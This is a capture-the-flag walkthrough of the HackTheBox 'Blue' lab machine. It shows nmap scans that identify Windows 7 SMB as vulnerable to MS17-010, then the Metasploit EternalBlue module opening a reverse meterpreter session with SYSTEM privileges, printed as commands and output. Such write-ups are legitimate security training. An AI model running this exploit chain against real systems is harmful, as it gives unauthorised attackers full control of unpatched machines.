Blue is a vulnerable virtual machine created by ch4p on HackTheBox. In this post, we document a complete walkthrough of pwning this machine.
Enumeration
Nmap
Starting off with the nmap scan, we discover that the target is running smb service. The smb-os-discovery NSE script also tells us the OS running on the target is Windows 7 SP1.
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$ nmap -sC -sV -oA recon/default 10.10.10.40
Nmap scan report for 10.10.10.40
Host is up (0.096s latency).
Not shown: 991 closed ports
PORT STATE SERVICE VERSION
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds Windows 7 Professional 7601 Service Pack 1 microsoft-ds (workgroup: WORKGROUP)
49152/tcp open msrpc Microsoft Windows RPC
49153/tcp open msrpc Microsoft Windows RPC
49154/tcp open msrpc Microsoft Windows RPC
49155/tcp open msrpc Microsoft Windows RPC
49156/tcp open msrpc Microsoft Windows RPC
49157/tcp open unknown
Service Info: Host: HARIS-PC; OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
|_clock-skew: mean: -1m28s, deviation: 2s, median: -1m29s
| smb-os-discovery:
| OS: Windows 7 Professional 7601 Service Pack 1 (Windows 7 Professional 6.1)
| OS CPE: cpe:/o:microsoft:windows_7::sp1:professional
| Computer name: haris-PC
| NetBIOS computer name: HARIS-PC\x00
| Workgroup: WORKGROUP\x00
|_ System time: 2020-11-09T12:31:54+00:00
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 2.02:
|_ Message signing enabled but not required
| smb2-time:
| date: 2020-11-09T12:31:52
|_ start_date: 2020-11-09T12:23:34
SMB
A simple google search with the OS and service information we have will give us a bunch of results suggesting MS17-010 EternalBlue. We are quite confident about it since it is also suggested by the machine name 😂. We can confirm the vulnerability by running a second nmap scan with smb-vuln-ms17-010 script.
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$ nmap -p 445 -script smb-vuln-ms17-010 10.10.10.40
...
Host script results:
| smb-vuln-ms17-010:
| VULNERABLE:
| Remote Code Execution vulnerability in Microsoft SMBv1 servers (ms17-010)
| State: VULNERABLE
| IDs: CVE:CVE-2017-0143
| Risk factor: HIGH
| A critical remote code execution vulnerability exists in Microsoft SMBv1
| servers (ms17-010).
|
| Disclosure date: 2017-03-14
| References:
| https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-0143
| https://technet.microsoft.com/en-us/library/security/ms17-010.aspx
|_ https://blogs.technet.microsoft.com/msrc/2017/05/12/customer-guidance-for-wannacrypt-attacks/
As expected, the scan gives a positive result.
Exploitation
MS17-010 EternalBlue
We use the EternalBlue Metasploit module to exploit it and suddenly we are granted a meterpreter session with system privilege.
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msf6 exploit(windows/smb/ms17_010_eternalblue) > set rhost 10.10.10.40
rhost => 10.10.10.40
msf6 exploit(windows/smb/ms17_010_eternalblue) > set lhost tun0
lhost => tun0
msf6 exploit(windows/smb/ms17_010_eternalblue) > run
...
[*] Meterpreter session 1 opened (10.10.14.18:4444 -> 10.10.10.40:49158) at 2020-11-09 07:56:57 -0500
meterpreter > sysinfo
Computer : HARIS-PC
OS : Windows 7 (6.1 Build 7601, Service Pack 1).
Architecture : x64
System Language : en_GB
Domain : WORKGROUP
Logged On Users : 0
Meterpreter : x64/windows
meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM